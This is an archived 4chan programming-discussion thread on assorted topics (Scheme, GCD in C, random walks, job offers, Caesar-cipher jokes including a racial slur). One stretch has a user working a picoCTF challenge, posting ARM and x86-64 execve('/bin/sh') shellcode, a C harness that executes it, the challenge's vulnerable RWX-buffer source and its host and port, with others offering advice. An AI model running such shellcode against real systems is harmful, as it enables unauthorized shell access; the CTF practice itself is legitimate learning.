(or (= (square (floor (sqrt x))) x) (= (square (ceiling (sqrt x))) x)))

(define (square x) (* x x))

(define (run-nums n)
(display (run-nums-iter n))

)

(define (run-nums-iter n)
(define x (f n))
(if (square? x)
(display (sqrt x))
(display ""))
(if (square? x)
(display "\n")
(display "")
)
(run-nums-iter (+ 1 n))
)

(run-nums 1)
>>
>devving
>suddenly stop devving
hmmmmm
>>
File: 8bitpepe.png (13KB, 418x359px) Image search: [Google]
8bitpepe.png
13KB, 418x359px
>tfw I just got a job offer from Facebook
>have never applied
Checked twice to confirm that it's legit
WTF

Anyone here working at Facebook?
How are the conditions?
>>
>>59864672
>>tfw I just got a job offer from Facebook
>>have never applied
Do you have an active github or something?
>>
>>59864540
>>59864672
Who wrote that?
>>
>>59864737
Yes, nothing major but a few contributions and original code over the years
They want me to move to Dublin, Ireland. Would pay for relocation.

I don't even have a Facebook profile, lol...
Definitely won't make one even if I work for them
>>
>>59864672
>got job offer
>Didn't apply
>Didn't interview
I believe you
>>
>>59864762
2-3 uninvited job offers per month are normal but most are garbage (low pay or awful locations)

I know CompSci graduates who complain about too many offers, especially from 3rd party recruiters
>>
File: wake_me_up.jpg (104KB, 1200x1200px) Image search: [Google]
wake_me_up.jpg
104KB, 1200x1200px
>still 4 months until I have a class with the creator of lua
>>
Finished Facebook integration for assignment project.
Damn I hate javascript.
I feel dirty.
>>
>>59864783
Getting invited to apply and getting an offer are different things
>>
>>59864819
You're right, it's just an invitation to apply.
They probably send it out to thousands.
Still surprised.
I only have a few FOSS projects, compared to others.
>>
>>59864851
How do I start contributing to foss faam?
>>
>>59864794
Could you punch him in the face for me? Thanks in advance.
>>
>>59864902
why do you hate the lua?
>>
I've been programming only in Java for a while.

Started learning C++ from scratch and so far it has been great.

Almost made a chess game now.

What options are there to make it graphical instead of a command line program?
>>
File: g1.png (8KB, 560x420px) Image search: [Google]
g1.png
8KB, 560x420px
How does my 1D brownian motion graph look.

Perhaps i need to rework the RNG function?
>>
Any idea how to find the GCD between two numbers in C using prime factorization and without arrays?

I'm almost giving up, but it has to be this way.
>>
>>59865000
int gcd(int a, int b) {
if (a == 0) {
return b;
} else {
while (b > 0)
if (a > b) {
a = a - b;
} else {
b = b - a;
}
return a;
}
}
>>
>>59864783

>I know CompSci graduates who complain about too many offers, especially from 3rd party recruiters

I've never been approached by a recruiter... but then again, I also make a habit of making it very difficult to find out who I am. The only places I use my real name on are private repos associated with my university work, and various site accounts where I am doing commerce with my real name (i.e. my Amazon account). I have no social media accounts either. So really, nobody knows who the fuck I am.

But that's all fine. I'm on track to getting into a PhD program soon enough anyways.
>>
>>59864990
>RNG
more like PRNG

are you writing it in python?
>>
>>59865061
>are you writing it in python?
No I'm using MATLAB and I used the randi function to get an int from 0 to 1
>>
>>59865068
>No I'm using MATLAB and I used the randi function to get an int from 0 to 1

use the computer clock to generate random numbers

or Normally distributed random numbers:

https://www.mathworks.com/help/matlab/ref/randn.html
>>
i have a programming question... can anyone helpme?

I'm trying to record my webcam with the mic audio, i've already try recording with DirectX, Ffmpeg Wrappers (AForge and others) and Ozeki, the main problem is that audio and video are not sync in large video files, I'm programming with c#
>>
>>59865068
or even

https://www.mathworks.com/help/matlab/ref/randi.html
>>
>>59865104
randi is what I originally used
>>
>>59865101
http://stackoverflow.com/questions/39655538/how-to-record-hd-video-from-webcam-with-sound-in-c-sharp-desktop-app-wpf-or-win

https://www.codeproject.com/articles/3566/directx-capture-class-library
>>
>>59865034
B-but that's not through prime factorization, senpai...

It has to be something like:
for (int i = 2; i <= n; i++) {
if (prime(i)) {
// calculations
}
>>
>>59865115
thanks i've already tried this one, and it's the same plus really big size files
>>
>>59865151
#include <stdio.h>
// C program to find all prime factors of a given number
int main()
{
int i, j, num, isPrime;
printf("Enter any number to print Prime factors: ");
scanf("%d", &num);
printf("All Prime Factors of %d are: \n", num);
for (i = 2; i <= num; i++) {
if (num % i == 0) {
isPrime = 1;
for (j = 2; j <= i / 2; j++) {
if (i % j == 0) {
isPrime = 0;
break;
}
}
if (isPrime == 1) {
printf("%d, ", i);
}
}
}

return 0;
}
>>
>>59865000
>>59865034
>>59865151
Forget about it, I just did it.
>>
Now how to do random walk in 2D
>>
>>59865400
int n = rand();
if(n<0.5) walk_left();
else walk_right();
>>
>>59865445
What about walk up and walk down
>>
>>59865445
while (walk(rand() % 9)); /* if 5 stay still */
>>
>>59865400
Random rand = new Random();
int dir = rand.Next(0,5);

switch (dir) {
case 1:
moveUp();
break;
case 2:
moveDown();
break;
case 3:
moveLeft();
break;
case 4:
moveRight();
break;
default:
// if dir is 0, don't move
break;
}
>>
>>59865479
i forgot to add, this way you can walk in any direction as denoted by the map
0 1 2
3 4 5
6 7 8
>>
>>59861075
Just enabled embedded videos on my imageboard: 4kev.org
>>
Decrypt this caesar function

Nsxyfqq%Ljsytt
>>
>>59861176

source
>>
>>59865730
INSTALLGENTOO
>>
>>59865730
>%
That really gave it away.
Install Gentoo
>>
>>59865730
>Nsxyfqq%Ljsytt
Install%Gentoo

KYS plis
>>
>>59865730
>>59865769
>>59865770
>>59865771
try decoding this one:
c3BpY3kgbmlnZ2Vycw==
>>
>>59865794
ihveqmhsrtfbeic
>>
>>59865794
>==
Come on, you're making this way too easy.
spicy niggers
>>
>>59865794
>spicy niggers
this thread is for srs discussion only, go away
>>
khoorZruog

:^)
>>
>>59865730
Decrypt this ASCII encoded binary data:
kill yourself
>>
Any good resources/tutorials for 68k? I'm taking a class at school and that's what we're using, and the manual isn't enough for explanation's for the instruction set.
>>
I've got a four day weekend this weekend, ~7 years experience front to pack end (Java/C#). What should I work on?
>>
>>59865822
Learning a non-shit language.
>>
>>59865831
oh, original. Next?
>>
File: 1402143399019.png (302KB, 1920x1080px) Image search: [Google]
1402143399019.png
302KB, 1920x1080px
>>59865837
>>
this is supposed to be under 40 bytes but it's 7.1kb when i compile it, help??

#include <stdio.h>
#include <string.h>

char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x78\x46\x0e\x30"
"\x01\x90\x49\x1a"
"\x92\x1a\x08\x27"
"\xc2\x51\x03\x37"
"\x01\xdf\x2f\x62"
"\x69\x6e\x2f\x2f"
"\x73\x68";

int main(void)
{
char payload[34];

memcpy(payload, SC, 34);

fprintf(stdout, "Length: %d\n", strlen(SC));
(*(void(*)()) payload) ();

return 0;
}
>>
>>59865883
I see you've got some shellcode there. Why not just compile it with nasm you'll get a lot less cruft.
>>
>>59865883
Because you're not compiling it as a COM file.
>>
>>59865883
The payload (the string SC, which I assume is some shellcode) is definitely under 40 bytes. The test program can't possibly be 40 bytes, though, since it's got calls to memcpy and fprintf, and that string constant "Length...", all of which take up additional space.
>>
>>59865883
>No call to mprotect or something similar
What sort of meme operating system would allow this?
>>
>>59862507
I don't think I'd want to be in bed with a grill, especially if it's on.
>>
>>59865949
looks like some proof of concept setup for a buffer overflow from a tutorial
>>
>>59862630
https://github.com/torvalds
Working on a kernel.
>>
>>59864246
..In her eye?
>>
>>59865883
strip -S
upx --best --ultra-brute
or just rewrite that shit in asm
>>
>>59865905
how do i do that?
>>
File: copy-asm.png (15KB, 576x444px) Image search: [Google]
copy-asm.png
15KB, 576x444px
>>59865883
by the way you can do this much easier if you just use inline asm.
I use this trick frequently to generate PIC at runtime.
>>
>>59863287
Why didn't you just use a tuple or struct to hold the u16's instead of a fucking nested hashtable?
>>
Writing a PNG library in elixir to create randomized images to spam threads with :^)
>>
>>59866046
how do i do that with this? http://shell-storm.org/shellcode/files/shellcode-904.php
>>
>>59866023
Only possible on DOS or 32-bit Windows.
>>
>>59866074
that's not helpful. i know that what i have to do is possible on linux
>>
>>59866090
I don't think there's any way to get an executable raw binary file on Linux, or any modern OS really. At best you'll have to write another program as impromptu loader, to load the binary shellcode into memory at runtime and jump to it. What exactly is your objective?
>>
>>59866090
>http://shell-storm.org/shellcode/files/shellcode-904.php
>>59866061
http://www.nasm.us/
compile your shell code with this

it tells you in the code how to compile the c code...
>>
>>59866107
doesn't recognize -marm
>>
>>59866104
shell2017.picoctf.com:34621 is the objective
>>
>>59866074
>>59866090
>>59866104
>>59866107
>>59866061
this is RISC assembly not x86, compile it on a raspberry pi or some other ARM microcontroller.
>>
>>59866053
>Spam thread with
Creating images is the easy part
The hard part is bypassing captcha
>>
>>59866127
ah ok, thanks. i just clicked the first thing i saw that said linux, idk what arm even is. found a version for intel x86 gonna try that
>>
>tfw Null Pointer Exception
>>
>>59866135
buy one of google's cars. they should be smart enough to solve their own captchas by now.
>>
>>59866160
just a difference in processors. x86 is CISC (complex instruction set) ARM is RISC (reduced instruction set). ARM processors are used for low power things like embedded devices and cell phones. they're becoming as powerful as CISC now though and some servers are switching to high-end ARM processors.
>>
>>59865000
>using prime factorization without arrays?
lists?

Technically, the GCD of N numbers is the multiset intersection of the prime factors of all the numbers. Do multisets count as not arrays?
>>
>>59866127
i've tried to modify the code as little as possible, this is what i have now
/*
* Execute /bin/sh - 27 bytes
* Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;

main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
*/

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{
printf("%s", code);
return 0;
}

with the idea being that i can do ./shell | nc shell2017.picoctf.com 34621

it just does nothing :/ that port is running a program that should execute shell code, needs to be under 40 bytes. so i thought it'd work. any ideas or what i'm doing wrong? ./shell spits out gobbledygook which i thought was promising
>>
>>59866191
Dave, I can't let you solve that
>>
>>59866160
you should find a copy of Jeff Duntemann's 'Assembly Language Step by Step' the 2nd edition has x86 linux and windows assembly examples. It's not h4xor buffer overflow shit but it'll teach you cooler things like how to spot your own exploits.
>>
>>59866208
aside from being assembly for a non x86 processor a few things come to mind:

* you're running this in userspace which is protected
* linux file permissions come into play on the netcat process and what it's trying to invoke
* the OS wont let you run malarky like that in mem because it knows better
* there are built in mechanisms to prevent priv escalation and dropping random reverse shells in linux
>>
File: 1487716794899.jpg (57KB, 542x602px) Image search: [Google]
1487716794899.jpg
57KB, 542x602px
>>59861540
>/r9k/ is in the top 10
>>
>>59866208
>>59866239
>samefag
also you probably don't have that port accessible on the host (check iptables) there are a litany of things to account for honestly.
>>
>>59866239
it's level 2 of a ctf for literal middle schoolers
>>59866210
there's 2 days left for the ctf so i don't really have time to read up on the theory, the website says just grab some shell code from the internet and give it to the process
>>
>>59866258
oh thats fun, I didn't know those were still a thing.

well, if you're on a virtual machine that they've made specifically for you to root, I'd say try running your code with strace and see what syscall it's failing on. post it back to me.
>>
>>59861540
Bretty nice, anon.
This is a terrifying visualization of why 4chan is shit.

>>59866243
/r9k/ is filled with normalfags.
>>
glGenBuffers() // creates a pointer in the graphics memory
glBindBuffer() // binds the pointer to a type
glBufferData() // assigns a value to the pointer or something like that

is that right?
>>
>>59864411
Wrong. Don't use floating point numbers for this sort of thing, dummy.
>>
>>59862399
and NP-Hard problems.
>>
i genuinely don't believe middle schoolers can do this shit, either that or duck duck go has way worse results than google
>>
>>59866239
>* you're running this in userspace which is protected
>* the OS wont let you run malarky like that in mem because it knows better
gcc/linux uses a flat address space though so that implies CS == DS.
>>
>>59862399
the three most difficult problems imo:
naming things, and off-by-one errors.
>>
>>59866353
ultimately the assembly is for the wrong processor architecture.
he can't compile it at all unless he gets the ARM libraries and cross compiles it. that'd probably fuck it up to some degree and defeat what it would do.
>>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 40

//Learned my lesson! No more easy flags
/*void win(){
system("/bin/cat ./flag.txt");
}*/


void vuln(){
char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if(stuff == MAP_FAILED){
printf("Failed to get space. Please talk to admin\n");
exit(0);
}
printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);
fflush(stdout);
int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
if(len == 0){
printf("You didn't give me anything :(");
exit(0);
}
void (*func)() = (void (*)())stuff;
func();
}

int main(int argc, char*argv[]){
printf("My mother told me to never accept things from strangers\n");
printf("How bad could running a couple bytes be though?\n");
fflush(stdout);
vuln();
return 0;
}


this is the code running on shell2017.picoctf.com:34621 (no password required, anyone can connect) can someone look at this? i'm trying to assemble assembly for the shell code by using the commented-out portions of the code of the C code and that's not working either, i keep getting infinite compile errors
>>
>>59866396
there's also shell code for linux x86-64, i was just mistakenly using arm http://shell-storm.org/shellcode/files/shellcode-603.php

not that this is working either
>>
>>59866422
>>59866414
wanna post the compilation errors or some strace/gdb output?
>>
>>59861540
Wow. If moot didn't split /v/ into /v/ /vg/ and /vr/, /v/ would be the undisputed reigning shitposter board
>>
>>59866433
shell.asm:6: warning: character constant too long
shell.asm:5: error: instruction not supported in 16-bit mode
shell.asm:6: error: instruction not supported in 16-bit mode
shell.asm:7: error: instruction not supported in 16-bit mode
shell.asm:8: error: instruction not supported in 16-bit mode
shell.asm:9: error: instruction not supported in 16-bit mode
shell.asm:10: error: instruction not supported in 16-bit mode
shell.asm:11: error: instruction not supported in 16-bit mode
shell.asm:12: error: instruction not supported in 16-bit mode


    section .text
global _start

_start:
xor rdx, rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall


taken from http://shell-storm.org/shellcode/files/shellcode-603.php
>>
NEW THREAD!!!

>>59866546
>>59866546
>>
File: ints.png (52KB, 759x749px) Image search: [Google]
ints.png
52KB, 759x749px
I need to store an int in a char array which will later be printed as a string, and I want to make sure I have enough space to store it, I found this macro and it works fine but I'm having trouble figuring out why it works.

#define ENOUGH ((CHAR_BIT * sizeof(int) - 1) / 3 + 2)

The size of an int in bytes * how many bits per char, gives us the amount of bits we need to store any int in a char array, -1bit for the sign bit. Now the /3 part confuses me, why 3? I'm assuming the +2 is for the null terminator + the sign as a character (not a bit). Why are they dividing bits by 3?

I know I could use sprintf to do this instead but I still want to know why this works.
Thread posts: 324
Thread images: 37


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.